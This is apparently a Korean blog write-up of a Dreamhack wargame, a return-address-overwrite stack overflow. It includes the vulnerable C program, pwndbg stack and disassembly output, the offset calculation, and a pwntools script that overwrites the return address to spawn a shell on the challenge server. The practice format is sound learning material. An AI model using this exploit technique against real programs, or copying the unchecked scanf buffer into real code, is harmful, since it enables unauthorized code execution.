https://dreamhack.io/wargame/challenges/351/
Return Address Overwrite
DescriptionExploit Tech: Return Address Overwrite에서 실습하는 문제입니다.
dreamhack.io
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
소스코드가 위와 같다
우선 get_shell 의 위치를 찾는다.
0x4006aa 라고 한다.
pwndbg> disass get_shell
Dump of assembler code for function get_shell:
0x00000000004006aa <+0>: push rbp
0x00000000004006ab <+1>: mov rbp,rsp
0x00000000004006ae <+4>: sub rsp,0x20
0x00000000004006b2 <+8>: lea rax,[rip+0xfb] # 0x4007b4
0x00000000004006b9 <+15>: mov QWORD PTR [rbp-0x8],rax
0x00000000004006bd <+19>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004006c1 <+23>: mov QWORD PTR [rbp-0x20],rax
0x00000000004006c5 <+27>: mov QWORD PTR [rbp-0x18],0x0
0x00000000004006cd <+35>: lea rcx,[rbp-0x20]
0x00000000004006d1 <+39>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004006d5 <+43>: mov edx,0x0
0x00000000004006da <+48>: mov rsi,rcx
0x00000000004006dd <+51>: mov rdi,rax
0x00000000004006e0 <+54>: call 0x400550 <execve@plt>
0x00000000004006e5 <+59>: nop
0x00000000004006e6 <+60>: leave
0x00000000004006e7 <+61>: ret
End of assembler dump.
이후 프로그램을 실행하는데 버퍼의 크기가 0x28 이니까 십진수로 40바이트이다. 그래서 a를 41 개 적어서 전달해봤다.
pwndbg> r
Starting program: /mnt/c/Users/mamim/dreamhack/return-address-overwite/rao
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, 0x0000000000400723 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────
RAX 1
RBX 0
RCX 0x7ffff7fa6aa0 (_IO_2_1_stdin_) ◂— 0xfbad208b
RDX 0
RDI 0x7fffffffd620 ◂— 0xffffd6b0
RSI 0xa
R8 0
R9 0x7ffff7fc9040 (_dl_fini) ◂— endbr64
R10 0xffffffffffffff80
R11 0
R12 0x7fffffffdca8 —▸ 0x7fffffffdeec ◂— '/mnt/c/Users/mamim/dreamhack/return-address-overwite/rao'
R13 0x4006e8 (main) ◂— push rbp
R14 0
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x7fffffffdb90 ◂— 1
RSP 0x7fffffffdb60 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
RIP 0x400723 (main+59) ◂— mov eax, 0
────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────
► 0x400723 <main+59> mov eax, 0 EAX => 0
0x400728 <main+64> leave
0x400729 <main+65> ret <__libc_start_call_main+128>
↓
0x7ffff7db5d90 <__libc_start_call_main+128> mov edi, eax EDI => 0
0x7ffff7db5d92 <__libc_start_call_main+130> call exit <exit>
0x7ffff7db5d97 <__libc_start_call_main+135> call __nptl_deallocate_tsd <__nptl_deallocate_tsd>
0x7ffff7db5d9c <__libc_start_call_main+140> lock dec dword ptr [rip + 0x1f0505]
0x7ffff7db5da3 <__libc_start_call_main+147> sete al
0x7ffff7db5da6 <__libc_start_call_main+150> test al, al
0x7ffff7db5da8 <__libc_start_call_main+152> jne __libc_start_call_main+168 <__libc_start_call_main+168>
0x7ffff7db5daa <__libc_start_call_main+154> mov edx, 0x3c EDX => 0x3c
──────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdb60 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
... ↓ 4 skipped
05:0028│-008 0x7fffffffdb88 —▸ 0x400500 ◂— 0x600000007
06:0030│ rbp 0x7fffffffdb90 ◂— 1
07:0038│+008 0x7fffffffdb98 —▸ 0x7ffff7db5d90 (__libc_start_call_main+128) ◂— mov edi, eax
────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
► 0 0x400723 main+59
1 0x7ffff7db5d90 __libc_start_call_main+128
2 0x7ffff7db5e40 __libc_start_main+128
3 0x4005aa _start+42
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
rsp 에 a가 저장이 되고 있다.
pwndbg> x/16x $rsp
0x7fffffffdb60: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffdb70: 0x61616161 0x61616161 0x61616161 0x61616161
0x7fffffffdb80: 0x61616161 0x61616161 0x00400500 0x00000000
0x7fffffffdb90: 0x00000001 0x00000000 0xf7db5d90 0x00007fff
함수 프롤로그로 인해
buf + padding
saved rbp (이전 스택 프레임의 rbp)
return address (main 이 끝나고 돌아갈 rip)
로 구성되는데 0x7f..fdb60 부터 a 가 깔려있고,
0x7f..fdb90 부근부터는 a가 없이 정상적인 값이 들어있다.
그러니까 db90 부터는 버퍼가 아니라 save rbp/return address 같은 중요영역이 있는 것이다.
db90 - db60 하면 0x30 이고 이는 48 byte를 의미한다.

노란색 부분이 buf+padding
초록색 부분이 saved rbp
파란색이 return address 이므로 총 48+8 하여 56바이트를 쓰레기로 채우고 마지막 4바이트를 shell 함수의 주소인 0x4006aa 로 채우면 된다.
hayeon@LAPTOP-T4MLNMBF:/mnt/c/Users/mamim/dreamhack/return-address-overwite$ cat solution.py
from pwn import *
conn = remote('host1.dreamhack.games', 15624)
conn.recvuntil(b'Input: ')
payload = b'a'*56 + p64(0x4006aa)
conn.sendline(payload)
conn.interactive()

'wargame > 시스템해킹' 카테고리의 다른 글
| [level 2]basic_exploitation_000 (0) | 2025.10.29 |
|---|---|
| [level 1]basic_exploitation_001 (0) | 2025.10.28 |
| [level 1] Exercise: GDB (0) | 2025.10.28 |
| [beginner] baby-bof (0) | 2025.09.05 |
| [beginner] bof (0) | 2025.09.04 |